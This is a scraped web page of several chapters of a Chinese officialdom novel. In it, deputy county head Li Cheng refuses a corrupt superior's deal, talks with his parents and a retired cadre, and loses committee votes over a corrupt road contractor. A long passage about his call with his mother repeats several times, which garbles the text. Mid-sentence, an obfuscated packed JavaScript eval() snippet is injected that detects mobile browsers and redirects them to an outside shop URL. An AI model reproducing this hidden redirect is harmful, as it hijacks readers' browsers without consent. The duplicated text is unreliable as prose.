陈红旗知道,李承还要拒绝他,于是他抢先打断:“你先不要着急拒绝,仔细想一想。 我代表县政府也只是提出意见,毕竟你才是现在管委会的一把手,在管委会的事务上,我不多插手。” 陈红旗的态度软了几分。 话语中是在暗示,也是在交易。 他要税收减免期间的缩减,能给到李承的条件,是管委会的绝对控制权。 只要李承答应他,未来管委会将由李承做主,他不插手。 “不用考虑,我只按照省政府下发的政策执行。” 李承没有半分犹豫,直接拒绝。 产业园区的发展,不能用权力交易去衡 量,这是李承的底线。 “李县长,你身上这股子倔强劲儿,跟**很像啊。”陈红旗眼眸冷冰,言辞中带着威胁。 此刻的他,已经对李承有了铲除之意! “我就当陈县长是在夸奖我了。” 李承微微一笑,他拿出手机,放在了陈红旗的办公桌上:“如果陈县长觉得省政府的政策不合理,我可以帮你跟省里交涉。” 陈红旗现在提到**,难免让人觉得,这是一种威胁! 因为**已经在陈红旗的卑劣手段下,被停职调查。 所以,李承要展露他的人脉和后台! 他要用自身的人脉优势,强硬地告诉陈红旗,他李承不是**! “不必了,就按照你的想法来。”陈红旗表情更加阴沉。 但他还没有胆量,跟省领导对话,提出异议。 晚上。 李承热了热冰箱里的剩饭剩菜,随便的对付了一口。 吃完饭,他换了一套运动装,准备去跑跑步。 这些年在办公室伏案工作,李承能明显感觉到身体素质在下滑,身体也有些发福走样。 他和许梦今年就要订婚,不出意外的话,下半年就要举办婚礼。 身体管理和身体素质,还是要进行提升的。 风林县靠着一条江。 江边修建了沿江公园,不少百姓在饭后都会去转一转。 那个地方适合夜跑。 换好衣服,李承用快走的方式,走到沿江公园,当作热身。 随后,沿着江边开始慢跑。 夜晚的风微凉,但在运动下,这种微凉的温度,更舒适。 ‘叮叮叮’ 跑步过程中,李承的视频电话响了起来。 他拿出手机,看了一眼屏幕,是母亲董丽。 “忙什么呢儿子?” 董丽的笑脸出现在屏幕上。 “跑步呢。”李承说。 “有时间跑步,也不知道抽空给你老妈打个电话。”董丽语气温柔地埋怨了一句。 她平日里不怎么主动联系李承,怕打扰李承的工作。 想着儿子空闲时间会联系她,可等了很久,都没有收到过李承的一个电话。 “这不是工作忙嘛,烦心事也多。”李承歉意一笑,说。 工作忙只是借口。 工作再忙,他每天都会跟许梦通话,可上次给家里打电话,已经将近一个月了。 对此,李承心里有些愧疚。 人总是不知不觉中,忽略了最重要的人。 “咱儿子是省长秘书,每天工作量大,你就别挑理了。”这时,李广义的声音从电话那边传来,替李承解释。 “知道他忙。” 这句话是董丽回应李广义的,紧接着,他问:“梦梦呢,跟你在一起了吗?” “没有,她在汉江,我被调到滨西市的下属风林县了。”李承说。 他才想起来,自己工作调动的事情,还没有跟家里面打过招呼。 “啊?这么大的事,你怎么也没跟家里说一声。” 听到李承被调职,董丽很吃惊,也不免担忧地问了起来:“你是不是犯了什么错误?” 从省长秘书,调到一个贫困县城,即便董丽不懂官场,也知道这是贬职了。 她本能地想到,自己儿子可能犯了错误,才被发配到了贫困县。 “没有,你儿子行得正,坐得端,能犯什么错误。” 李承摇了摇头,耐心解释起来。 他知道,如果不解释情况,董丽会担心得整宿睡不着觉:“是孟省长被调任回京任职了,现在领导调任都不让秘书随行,我就来了风林县。” “哦,这样呀。” 闻言,董丽安心了不少,也忍不住的埋怨一句:“孟省长也真是的,你好歹伺候了他大半年,也不给你调个好一点的岗位,去那个破地方。” 人总是不知不觉中,忽略了最重要的人。 “咱儿子是省长秘书,每天工作量大,你就别挑理了。”这时,李广义的声音从电话那边传来,替李承解释。 “知道他忙。” 这句话是董丽回应李广义的,紧接着,他问:“梦梦呢,跟你在一起了吗?” “没有,她在汉江,我被调到滨西市的下属风林县了。”李承说。 他才想起来,自己工作调动的事情,还没有跟家里面打过招呼。 “啊?这么大的事,你怎么也没跟家里说一声。” 听到李承被调职,董丽很吃惊,也不免担忧地问了起来:“你是不是犯了什么错误?” 从省长秘书,调到一个贫困县城,即便董丽不懂官场,也知道这是贬职了。 她本能地想到,自己儿子可能犯了错误,才被发配到了贫困县。 “没有,你儿子行得正,坐得端,能犯什么错误。” 李承摇了摇头,耐心解释起来。 他知道,如果不解释情况,董丽会担心得整宿睡不着觉:“是孟省长被调任回京任职了,现在领导调任都不让秘书随行,我就来了风林县。” “哦,这样呀。” 闻言,董丽安心了不少,也忍不住的埋怨一句:“孟省长也真是的,你好歹伺候了他大半年,也不给你调个好一点的岗位,去那个破地方。” 人总是不知不觉中,忽略了最重要的人。 “咱儿子是省长秘书,每天工作量大,你就别挑理了。”这时,李广义的声音从电话那边传来,替李承解释。 “知道他忙。” 这句话是董丽回应李广义的,紧接着,他问:“梦梦呢,跟你在一起了吗?” “没有,她在汉江,我被调到滨西市的下属风林县了。”李承说。 他才想起来,自己工作调动的事情,还没有跟家里面打过招呼。 “啊?这么大的事,你怎么也没跟家里说一声。” 听到李承被调职,董丽很吃惊,也不免担忧地问了起来:“你是不是犯了什么错误?” 从省长秘书,调到一个贫困县城,即便董丽不懂官场,也知道这是贬职了。 她本能地想到,自己儿子可能犯了错误,才被发配到了贫困县。 “没有,你儿子行得正,坐得端,能犯什么错误。” 李承摇了摇头,耐心解释起来。 他知道,如果不解释情况,董丽会担心得整宿睡不着觉:“是孟省长被调任回京任职了,现在领导调任都不让秘书随行,我就来了风林县。” “哦,这样呀。” 闻言,董丽安心了不少,也忍不住的埋怨一句:“孟省长也真是的,你好歹伺候了他大半年,也不给你调个好一点的岗位,去那个破地方。” 人总是不知不觉中,忽略了最重要的人。 “咱儿子是省长秘书,每天工作量大,你就别挑理了。”这时,李广义的声音从电话那边传来,替李承解释。 “知道他忙。” 这句话是董丽回应李广义的,紧接着,他问:“梦梦呢,跟你在一起了吗?” “没有,她在汉江,我被调到滨西市的下属风林县了。”李承说。 他才想起来,自己工作调动的事情,还没有跟家里面打过招呼。 “啊?这么大的事,你怎么也没跟家里说一声。” 听到李承被调职,董丽很吃惊,也不免担忧地问了起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264678|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来:“你是不是犯了什么错误?” 从省长秘书,调到一个贫困县城,即便董丽不懂官场,也知道这是贬职了。 她本能地想到,自己儿子可能犯了错误,才被发配到了贫困县。 “没有,你儿子行得正,坐得端,能犯什么错误。” 李承摇了摇头,耐心解释起来。 他知道,如果不解释情况,董丽会担心得整宿睡不着觉:“是孟省长被调任回京任职了,现在领导调任都不让秘书随行,我就来了风林县。” “哦,这样呀。” 闻言,董丽安心了不少,也忍不住的埋怨一句:“孟省长也真是的,你好歹伺候了他大半年,也不给你调个好一点的岗位,去那个破地方。” 人总是不知不觉中,忽略了最重要的人。 “咱儿子是省长秘书,每天工作量大,你就别挑理了。”这时,李广义的声音从电话那边传来,替李承解释。 “知道他忙。” 这句话是董丽回应李广义的,紧接着,他问:“梦梦呢,跟你在一起了吗?” “没有,她在汉江,我被调到滨西市的下属风林县了。”李承说。 他才想起来,自己工作调动的事情,还没有跟家里面打过招呼。 “啊?这么大的事,你怎么也没跟家里说一声。” 听到李承被调职,董丽很吃惊,也不免担忧地问了起来:“你是不是犯了什么错误?” 从省长秘书,调到一个贫困县城,即便董丽不懂官场,也知道这是贬职了。 她本能地想到,自己儿子可能犯了错误,才被发配到了贫困县。 “没有,你儿子行得正,坐得端,能犯什么错误。” 李承摇了摇头,耐心解释起来。 他知道,如果不解释情况,董丽会担心得整宿睡不着觉:“是孟省长被调任回京任职了,现在领导调任都不让秘书随行,我就来了风林县。” “哦,这样呀。” 闻言,董丽安心了不少,也忍不住的埋怨一句:“孟省长也真是的,你好歹伺候了他大半年,也不给你调个好一点的岗位,去那个破地方。” 人总是不知不觉中,忽略了最重要的人。 “咱儿子是省长秘书,每天工作量大,你就别挑理了。”这时,李广义的声音从电话那边传来,替李承解释。 “知道他忙。” 这句话是董丽回应李广义的,紧接着,他问:“梦梦呢,跟你在一起了吗?” “没有,她在汉江,我被调到滨西市的下属风林县了。”李承说。 他才想起来,自己工作调动的事情,还没有跟家里面打过招呼。 “啊?这么大的事,你怎么也没跟家里说一声。” 听到李承被调职,董丽很吃惊,也不免担忧地问了起来:“你是不是犯了什么错误?” 从省长秘书,调到一个贫困县城,即便董丽不懂官场,也知道这是贬职了。 她本能地想到,自己儿子可能犯了错误,才被发配到了贫困县。 “没有,你儿子行得正,坐得端,能犯什么错误。” 李承摇了摇头,耐心解释起来。 他知道,如果不解释情况,董丽会担心得整宿睡不着觉:“是孟省长被调任回京任职了,现在领导调任都不让秘书随行,我就来了风林县。” “哦,这样呀。” 闻言,董丽安心了不少,也忍不住的埋怨一句:“孟省长也真是的,你好歹伺候了他大半年,也不给你调个好一点的岗位,去那个破地方。” 人总是不知不觉中,忽略了最重要的人。 “咱儿子是省长秘书,每天工作量大,你就别挑理了。”这时,李广义的声音从电话那边传来,替李承解释。 “知道他忙。” 这句话是董丽回应李广义的,紧接着,他问:“梦梦呢,跟你在一起了吗?” “没有,她在汉江,我被调到滨西市的下属风林县了。”李承说。 他才想起来,自己工作调动的事情,还没有跟家里面打过招呼。 “啊?这么大的事,你怎么也没跟家里说一声。” 听到李承被调职,董丽很吃惊,也不免担忧地问了起来:“你是不是犯了什么错误?” 从省长秘书,调到一个贫困县城,即便董丽不懂官场,也知道这是贬职了。 她本能地想到,自己儿子可能犯了错误,才被发配到了贫困县。 “没有,你儿子行得正,坐得端,能犯什么错误。” 李承摇了摇头,耐心解释起来。 他知道,如果不解释情况,董丽会担心得整宿睡不着觉:“是孟省长被调任回京任职了,现在领导调任都不让秘书随行,我就来了风林县。” “哦,这样呀。” 闻言,董丽安心了不少,也忍不住的埋怨一句:“孟省长也真是的,你好歹伺候了他大半年,也不给你调个好一点的岗位,去那个破地方。” 第316章 石老 “就算不能留在汉江,给你调回咱们封兰也行呀,好歹是个市。”董丽抱怨着。 在她看来,李承被调到一个县城,就是不再被重用,是贬职。 “不是你想的那样,孟省长给了我两条路选,他在汉江也给我安排了职务,是我自己选择的风林县。” 李承解释道。 孟良德为他考虑得很周到,来风林县是他自己的选择,这不能怨孟良德。 李承要澄清事实。 “能留下汉江,你为啥非要去那个县城?”董丽闻言,知道自己误会了孟良德,转而问道。 “风林县是省政府重点扶持的县,这边的发展空间更大。”李承说。 “哦,这样呀,那你调走了,梦梦怎么办?就这么异地着?”董丽不免担忧起来。 李承年纪不小了,也到了成家的年纪。 双方父母也都见过面,董丽对自己的未来儿媳和亲家都很满意,也希望两个孩子早点把婚结了。 可一方在汉江,一方在风林,距离差了几百公里。 异地相恋,迟早是问题。 “我有自己的安排,您和我爸就放心吧。”李承宽慰道。 他在异地恋的问题上,没什么安排。 这么说,也只是想让父母别操心。 “嗯,那就好,许梦是个好孩子,你小子可千万别错过了,听见没?”董丽忠告道。 “知道了,妈。” 又跟董丽闲聊了一会儿,这才挂断电话。 跑了五公里,李承气喘吁吁地用毛巾擦了擦额头上的汗珠,迎着江风,漫步在沿江公园内。 风林的经济发展很差,但这个公园,建设得却很美。 绿植,彩灯,跑道,活动器材,羽毛球场,篮球场,应有尽有。 还有几个抗战英雄的雕像,宣示着这里曾经是抗战英雄的故居,是精神的脊梁。 这个公园的建设程度,跟汉江的沿江公园都旗鼓相当,只是路程没有汉江长。 但汉江是什么地方? 那是东江省的省会,是全国GDP排名前二十的城市。 可风林县算什么? 一个全省经济排名末尾,连正常运转都难以维持的穷困县。 政府却花大手笔,把钱砸在了一个公园上,简直可笑! “利益工程!” 对于沿江公园的美景,李承给予了四个字的中肯评价。 没有贬低,而是事实。 “是呀,这个公园就是利益工程,百姓都快穷得吃不起饭了,他们拿钱修这个破公园,一群王八蛋!” 李承破口吐槽时,身边突然响起了一句附和。 李承转头看去,那是一个白发老头,身边还跟着一个小女孩。 像是退休老大爷,出来溜孙女。 “大爷,这个公园,什么时候修的?”李承随口问了一句。 他想通过公园的修建时间,来判断是哪位领导在位时修建的,也算对风林县有个更深刻的了解。 “嗯...五六年了吧,有了,我退休都五年了。”老大爷沉吟了两秒,回道。 “哦,谢谢。” 李承点了点头,没有再多问。 五六年前,不是那位洪老书记的在位期间。 “当年我是强烈反对,但这个公园还是修建起来了,也好,我还有个遛弯的地。” 老头随口的一句话,透露出他曾经的身份。 “您老之前也在政府部门工作?”李承问。 “嗯,以前在县委当过二把手,都过去了,现在就是个退休老头。” 老头摆了摆手,他看似漫不经心,毫不在意,却也在侧面透露出自己曾经的职位。 像这种退休干部,嘴上说着过去了,其实骨子里还是在意曾经的辉煌,这是他们的面子。 他们退休了,没有了实权,只能靠这个满足虚荣心,来弥补官场上,人走茶凉的空虚。 “原来是老书记呀,您贵姓?” 县委班子的二把手是县长。 但县长是县政府的一把手,通过在民间谈论到县委人员时,不会把县长算进去。 如果他是县长,自我介绍时,也会说是在县政府当过一把手,这是优先级。 所以,县委的二把手,其实是排名第三位的专职副书记。 “免贵姓石。” 老头温和一笑,上下打量着李承:“看你的气质,也是在体制内工作?” “嗯,我刚调任到风林县。”李承道。 “风林县刚到了一位副县长,不会就是你吧?”石老试探地问。 “是我,石书记,我叫李承。”李承态度谦卑,客客气气地回答道。 对方虽已退休,毕竟也是前辈,要给予尊重。 “小伙子年轻有为,还有省里的背景,未来的风林县要靠你了。 干出些成绩来,省里给了这么好的政策,可千万别让陈红旗那些人给搞砸了。”石老由衷地提醒道。 他希望有生之年,能够看到风林县有一次发展大变样。 这是他为官者的初心。 “我会尽我所能。”李承认真道。 两个人一起散步,就风林县发展,以及现在的政治环境上,做出交流。 更多的,是李承向他请教。 而对于这位副县长的请教,石老也是知无不言,言无不尽。 李承的请教,在某种程度上,也满足了石老的虚荣心。 回到宿舍。 李承洗了一个热水澡后,拿出一本书翻开。 学习很重要,多看书,在书中可以学习到不一样的感触和认知。 ‘我的爱如潮水,爱如潮水将我向你推....’ 李承倚靠在床头,翻开着手中的《道德经》时,床头柜上的手机响了起来。 李承偏头瞟了一眼来电显示后,立即合上了书,从床榻下来。 接通电话,李承站得笔直,恭敬地喊了一声:“领导。” 打来这通电话的不是别人,正是孟良德! “小李,这么晚了,还没睡呢?”孟良德温和的声音,从电话那边传来。 “还没,刚到宿舍。”李承说。 “风林县的进展还顺利吗?有没有遇到什么麻烦?”孟良德关心地问。 “还算顺利,只是风土人情不同,跟本地领导班子的相处,还需要磨合。” 李承没有跟孟良德抱怨这边的情况,粗略地敷衍了一下。 李承将风林县当作是对自己的一次考验,不会轻易抱怨。 而且,就算抱怨了,孟良德远在京城,也不好插手这边的事情,反而显得自己没能力。 第317章 对着干 “嗯,你刚到地方,需要磨合一段时间。 周全向我汇报过,说风林县的状况复杂,有什么需要提供帮助的,你可以联系他。 产业园区落地是首要关键,他们是你的人脉,可以借用。” 孟良德以教导的方式对李承说,完全一副长辈的姿态。 “我知道,领导,您放心,我不会丢您的脸。”李承认真地说。 他是孟良德的秘书,如果在这个项目上搞得一塌涂地,到最后,上面的人只会笑话孟良德。 毕竟,李承从某种程度上讲,算是孟良德的‘门徒’。 “嗯。” 孟良德应了一声,电话那边陷入沉默,只有拖鞋踩在地面上的走动声传来。 十几秒后,孟良德压低声音,说:“还有一件事,要你办一下。” “领导,您说。” “你这周末抽空去一趟容城,她那边有点麻烦,你带她去处理,不要留隐患。” 孟良德语气严肃,声音低沉地叮嘱。 “我明白。” 孟良德虽没有指名道姓,也没有说具体事件,但提到了容城,李承第一个想到的就是娇娇。 如果说,孟良德在东江省任职期间,留下了什么隐患。 娇娇算是唯一一个。 “早点休息吧。” 吩咐完这件事后,孟良德挂断了电话。 放下手机,李承躺在床上,心中尴尬万千。 色字头上一把刀。 野花的温柔,只是一时的温馨,不会成为长久的陪伴。 而想要解决野花,却要耗费很长一段时间,其影响,甚至于可能牵扯到仕途。 这对李承来说,是一个警醒! ...... 次日下午。 县委再次召开了县委常委会议,这是延续周一关于产业园区道路重建的议题。 “这次常委会议,我们要讨论的议题只有一个,产业园区道路的解决方案。 经过两天的思考,我想各位常委的心中已经有了答案,现在,会议正式开始。” 王革讲完开场白后,目光率先看向李承:“李县长,你是管委会的负责人,你想说说你的想法。” “我还是坚持我的想法,道路必须重建,不能给产业园区的发展留下隐患!” 李承义正言辞地坚持着自己。 原本,在道路重建的问题上,李承是打算退步的。 周一晚上,他约陈红旗吃饭,就是想以退步的方式,跟陈红旗缓和关系。 可对方放了李承的鸽子,又在企业政策上,两个人有了更深的分歧。 于是,李承才决定跟陈红旗硬碰到底。 他也知道,没有齐秘书列席,这些常委们会一边倒,倾向陈红旗。 但他必须要表现出坚决斗争的态度,这样才能让那些摇摆不定的人,有倾向他的可能。 “道路修得如此之烂,就算我们这届领导班子能够躲过去,这个隐患,也一定会在下届政府班子内暴雷。 到那个时候,在坐的一些领导,还是要为道路问题犯愁,甚至被市里问责。” 李承目光看向常务副县长崔学文,说。 这一次,他是在用个别常委的利益,作为说辞。 李承有背景,产业园区项目结束后,李承大概率就被调离风林县,这一点,在座的常委都很清楚。 他们不一样,他们其中的大部分人,还要继续留在风林县。 下届班子里,陈红旗大概率会离开县长一职,最有可能接替他位置的人,就是常务副县长崔学文。 到那个时候,企业修路的问题暴雷,需要担责任的人,就是崔学文! “现在的关键,是企业落地问题,道路重建耗费时间太久,会严重影响企业落地的进展。 我不同意李县长的观点!” 陈红旗直接开口否决,他的目光在各位常委身上一一看过,最后落在他身旁的常务副县长崔学文身上:“学文同志,你说呢?” “这一次,我跟红旗同志有不同的看法,我认为啊,李承同志说得很有道理。 我们这届政府要扛起责任,不能给下届政府留隐患,身为一名党员,要有‘我不下地狱,谁下地狱’的精神。 何况,作为管委会负责人,整个产业园区的第一责任人,李承同志都甘愿把这个重任揽到自己身上,我们这些做县领导的,应该给予支持。” 崔学文沉默了两秒,竟破天荒地站在了李承这一边。 这是李承万万没想到的。 他也只是想借着这个机会,挑拨一下两个人原本就脆弱的合作,没想到崔学文这么上道。 “这不是谁下地狱,谁担责任的问题,而是产业园区发展的问题,留给我们的时间不多了。 在企业落地的攻坚阶段,容不得马虎啊,同志们!” 陈红旗的拳头在会议桌上扣了扣,严肃地说。 “说到责任啊,我再插一句嘴。” 李承第一个开口,提出了意见。 既然要跟陈红旗硬碰到底,李承也就无所顾忌了。 反正昨晚跟孟良德的通话里,孟良德也给他撑了腰,告诉他,只要园区能发展,可以麻烦周安和冯坤。 “论道路问题的责任,最大的责任者,就是承包道路修建的旗胜建筑公司。 我提议,换掉承包方,重新公开招标,这次我们不图省事,打破垄断式的承包,将修建分区化,承包给多家建筑公司。 重点挑选那些有实力,有责任的公司入场!” 李承说到这里,话语顿了一下,继续道:“至于旗胜建筑公司,按照合同处理。 该追缴的项目款进行追缴,该需要他们承担的责任赔偿,让他们赔偿,严肃处理,也给其他建筑商一个警告!” 李承话音落下,全场陷入一片死寂,仿佛所有人的呼吸都静止了! 每个人看向李承的目光里,都是不同的情绪。 王革的目光中,带着佩服和兴奋。 他没想到李承敢这么硬刚陈红旗,这一点,让他打心眼里敬佩。 兴奋则是一个背景雄厚的人,愿意站出来跟陈红旗对着干,这有可能打破他的困境。 而陈红旗的目光里,带着浓浓的凶光。 他双拳紧紧攥起,脸上的表情,已经出现控制不住的怒意! 第318章 孤勇者 旗胜建筑公司,那是陈红旗的摇钱树。 现在,李承准备要拒付修建费,还要追缴之前的款项,这无疑是触碰了陈红旗的核心利益! 关于旗胜的问题,在座的常委们,大家都心知肚明。 却也都心照不宣的不去提,不去管。 可李承却提了,不仅点名批评了这家公司,还要将旗胜踢出局,这是在座所有人想都不敢想的。 崔学文脸上洋溢起一抹淡淡的笑意。 如果换做是别人提,他会说这个人是愣头青,是蠢货,要远离。 但李承是有背景的人。 在省部级领导的背景加持下,崔学文的心思也活络了起来。 “无奸不商,哪个商人不想着节省资金,扩大收益呀,无一例外,也无可厚非。 道路的问题,究其原因,还是管委会的监管力度不够!” 陈红旗大声说,语气里带着呵斥的意味。 他在厚着脸皮,替旗胜建筑公司开脱。 “旗胜是风林县最有实力的承包商,除了它之外,风林县没有任何一家公司,可以接手这么大的工程量。 我们总不能把项目交给其他地区的公司去做吧? 至少,旗胜的税,交到我们风林县,他们的员工也是我们风林县的本地百姓,这些我们不能不考虑呀!” 陈红旗的手,拍着桌子。 会议桌上的茶杯,都在他的拍动下,发出震颤的声音。 他的愤怒溢于言表。 “好啦,既然大家对此各持己见,我们就举手表决!” 王革打断了剑拔弩张的气氛:“同意换掉旗胜建筑公司的,请举手!” 他话音落下,李承第一个举起了手。 但除了他之外,没有任何人举手,包括县委办主任和宣传部长这两个不属于本地派系的成员,也没有举手。 旗胜建筑关乎陈红旗的个人利益,谁都不想惹这个麻烦。 李承孤零零一个人举手,但他的手,却举得很高。 很突兀,却更像一个孤勇者! 到最后,还是王革举起了手,表示对李承的支持。 他已经被架空了,根本也不在意是否会得罪陈红旗。 “不同意的请举手。” 在王革声音落下后,陈红旗,专职副书记常远,统战部长李春生等人,纷纷举起手。 不过,常务副县长崔学文,政法委书记辛磊和纪委书记曹海涛,县委办主任冯刚,还有宣传部长,在两次投票中都没举手,选择了弃权。 虽说,在投票环节上,李承完败。 但也更加验证了李承心里的一个想法,崔学文在本地派中有自己的小团体,这些人以崔学文为首,跟陈红旗不合。 “经过投票决定,继续由旗胜建筑公司承包产业园区建设。” 王革宣布后,继续下一轮投票:“接下来,我们开始在道路重建问题进行投票,同意重建的请举手!” 这一回,李承依旧是第一个举了手。 王革紧跟而上,宣传部长,县委办主任,也都表示了支持。 李承拿到了四票。 十一个常委里,还剩下七张票权。 如果这次崔学文,曹海涛和辛磊再次弃权,那么就是平票。 不过,即便是平票,道路也不能重新修建。 因为出现平票的情况下,赞同票需要超过在场常委的半数,才能通过决议。 十一位常委都到场了,就算平票,赞同票也不够。 除非陈红旗只拿三票。 “不同意的举手!”王革继续道。 这一回,没有弃权。 李承认为最有希望的平票也没有达到。 崔学文等人全部举了手,支持了陈红旗。 见状,李承淡笑着摇了摇头,刚才崔学文口口声声喊着支持重建,在投票环境也变了卦。 本地派系还是本地派,瓜葛太深,幻想他们支持,李承觉得自己刚才有些天真了。 “经投票决定,道路重建提议未通过。”王革宣告道。 两轮投票,两轮李承都以失败告终,他也不气馁。 全部都在意料之中。 今天,他就是想借着常委会,高调的跟陈红旗唱反,这一政治目的达到了,而且,效果比他想象的要好。 ..... 晚上。 一处私人宅院中。 陈红旗将外套重重摔在了沙发上,怒道:“这个李承,真他妈的是不知天高地厚,什么意见都敢在常委会上提,还真当老子不敢动他了!” “哥,他又怎么惹你了?” 陈红胜夹着一根雪茄,看着暴怒的陈红旗,漫不经心地问。 “他在常委会上提,让旗胜撤项目,还得给政府赔偿!”陈红旗拿起桌子上的水杯,咕咚咕咚地灌了一大口。 “啥!” 听到关乎旗胜,陈红胜立马从慵懒的状态回正,站起身,面露焦急:“他是不是疯了,敢打旗胜的主意! 那最后常委会怎么决策的?” 如果是其他人提,陈红胜不会担心,因为他哥哥可以摆平。 但是,李承不好对付。 韩帅都被李承给搞了下去,他怕在这件事上,陈红旗没斗过李承。 “有我在呢,他动不了旗胜。” 陈红旗给陈红胜吃下一颗定心丸,说。 “那就行。” 陈红胜稍微安心,他吸了一口雪茄,在客厅来回踱步了几圈,试探地说:“哥,你说这个李承,是不是在暗示咱们呢?” “什么意思?”陈红旗眉头一皱,问。 “你想啊,如果李承真想搞旗胜的话,他应该在周一的常委会上提,齐秘书也在场,你想摆平很麻烦。 但他周一没有提,而是放到今天提,我觉得,他不一定是想踢掉旗胜。 他应该是在暗示咱们,毕竟,他来风林县快半个月了,还没给他送过礼呢? 他应该是想要钱!” 陈红胜站在他商人的思维上,分析道:“要不先给他送二十万,试试水?” “嗯....” 听到陈红胜的分析,陈红旗陷入沉吟。 李承给他的感觉,是那种刚正不阿的人,刘婷给他传达过来的消息,也说李承很正直。 可说不定,李承只是不近女色,不一定不爱财啊! “你试试吧,不要搞得太明目张胆,省里来的干部,都能装。” 第319章 制衡方式 次日。 李承将规划建设局的领导层,以及纪检的孙建,一同叫到了会议室。 孙建是副书记,但在李承管理的管委会内,他的职权堪比书记。 李承将任何与纪检相关的事务都交给他,就是明确一个态度,孙建是他重视的人。 他要通过孙建,架空纪工委书记甄大全。 原因很简单,政治立场。 甄大全并没有得罪李承,只是因为,他跟陈红旗派系关系近。 李承嘴上说,不会任人唯亲,那只是场面话。 在同样执行力下,任何一个领导,都会重用与自己关系亲近的人,除非两者能力相差甚远,否则,无一例外。 “今天召集建设局的同志开个会,是关于道路修建的问题。 经县委常委投票决定,产业园区道路存在的质量问题,暂时不做整改。” 李承先将情况告知给大家。 不做整改,李承也很无奈。 他非常清楚,这条路如果现在不重建,等那些企业全部落地建厂,再想维修起来,难度大,进程繁琐,而且还会耽误企业的正常运转。 绝对是一大隐患。 可他也没办法,风林县不是李承一个人的,他也没有一言堂的能力,县委常委投票决定,就算他不想执行,也不行。 只能选择退步。 至于说,通过市里领导的人脉,让周安和冯坤对县委县政府进行施压整改,也行不通。 县委有县委的发展决定,市里不会过多干涉。 万一,因为道路重建影响了企业落地,市领导进行干涉后,反而要担责任。 没人会愿意多管闲事,不仅得罪陈红旗这些县干部,还可能惹一身骚。 毕竟,现在的道路情况,不影响企业落地。 站在市领导的角度,也会睁一只眼闭一只眼。 等到道路真出现问题的那天,他们无责,还可以以高高在上的角度,去追究一些人的责任。 “李县长,那让他们复工吗?” 接替韩帅副主任位置的建设局局长王旭,发出了提问。 韩帅喝酒被李承和齐秘书撞见的下午,为了缓和关系,韩帅就已经给旗胜建筑公司停工。 “复工。” 李承微微点头,说:“之前的道路虽不整改,但不代表接下来的道路修建,他们可能继续按照之前的标准糊弄。 王主任,你要吸取韩帅的教训,在道路修建上,严格监管,必须按照国家标准执行,不容半点马虎。 如果接下来的道路,还存在偷工减料,不达标的情况,你要承担全部责任!” 李承认真地看着王旭,语气严肃。 王旭也是陈红旗的人,他还是会担心王旭会和韩帅一样,对旗胜进行纵容,所以,他要将丑话说在前面。 “李县长,您放心,这条道路对产业园区多重要,我是知道的,当初韩主任在位时,我也多次向他反馈过问题,只是他一意孤行,我那时候没办法。” 王旭信誓旦旦地保证道。 他刚上任,还需要得到李承这位管委会主任,代党工委书记的认可,毕竟,他人在管委会工作,李承是他的直属领导。 而且,他虽是陈红旗的人,可自从韩帅被李承搞掉之后,他也摇摆不定了起来。 两边倒的墙头草虽让人不齿,可在这官场内,却是大多数人的为官之道。 “嗯。” 李承对于王旭的回答很满意,不过,他也不能只听王旭的一面之词。 当面一套,背后一套的人,在这个圈子里比比皆是,李承还要做更加细致的监管工作。 他的目光看向王旭身旁的副局长汪莱,进行工作部署:“汪莱同志,接下来,你主要负责质量监督和质检,要进行每日监督,定期抽检,出现不达标的情况,立即要求施工方进行返工!” “明白,李县长。”汪莱重重点头。 “王旭同志抓大局,汪莱同志抓细节,你们两个要打好配合,将这条风林县的致富路修好!” 李承认真地对两人进行叮嘱。 他们两个人,一位是管委会建设局局长,一位是副局长,之前的关系相对和谐。 但李承可不想让他们关系和谐。 他们关系和谐了,道路修建上,就可能跟陈红旗串通一气,背着李承对旗胜纵容。 让他们关系撕裂,再互相监督,才是最好的制衡方式。 对此,李承已经提前进行了布局。 在李承的刻意安排下,汪莱被扣上了出卖韩帅的帽子,李承又在常委会议上提议让汪莱接替韩帅,基本已经让陈红旗将汪莱从队伍里踢了出来。 汪莱在那边得不到重视和信任,到时候,也只能被迫投靠李承。 “好。” “李县长,监督方面我一定抓好。”汪莱信誓旦旦地保证。 “嗯,你的工作态度,我还是信得过的。” 李承笑眯眯地看着汪莱,这不是对他的夸奖,而是一种立场上的拉拢。 这话,就是他说给王旭听的。 “孙书记,你要做好纪律督察工作,修路是大事,韩帅的违纪问题要查,连带人员,也要严查,严办!” 最后,李承将目光看向了孙建。 他将孙建叫过来,就是为了给所有建设局领导层一个下马威,让他们惶惶不安起来。 韩帅若涉及贪腐,在座这些参与基建工程的干部,又有几人能幸免? 不说受贿多少钱,多多少少都肯定有违纪的行为。 李承想要的,就是人心乱起来。 浑水才能摸鱼,他希望和谐,但组织内部和谐的前提,是大家心之所向在他,而非陈红旗和其余本地派系干部。 “好,我一定严查到底。” 得到孙建的保证后,李承从椅子上站起身:“散会!” 从会议室离开,李承准备回到自己的办公室。 “陈总,您就别开我的玩笑了,我哪有那福气呀?”刚到办公室门口,刘婷妩媚的声音,从门内传出来。 “有没有福气,晚上到我床上试试就知道了,哈哈哈...” “讨厌。” 听到这里,李承眉头微微皱起。 他不知道两个人之前聊的什么,可上班时间,聊到了床上的事情,如此暧昧。 最可气的事儿,还在自己的办公室里! 第320章 逐步试探 李承推开门,走了进去。 在他的视线内,刘婷背对着陈红胜,正在倒茶。 她那丰腴挺翘的屁股,似乎是故意给陈红胜看。 陈红胜坐在沙发上,满脸猥琐笑容,手很不老实地在刘婷屁股上拍了一下! 听到开门声,刘婷抬起头。 在看到李承那张铁青的脸时,刘婷连忙站直身体,下意识地整理了一下短裙,低头解释:“县长,陈总来找您谈工作,您在开会,我就让他在这里等您一下。” “没有我的允许,谁让你带人进来的?”李承冷声质问。 “我...我错了县长....” 刘婷不知如何辩解,认着错误。 “你作为联络员,连这点规矩都不懂吗?还需要我亲自教给你?” 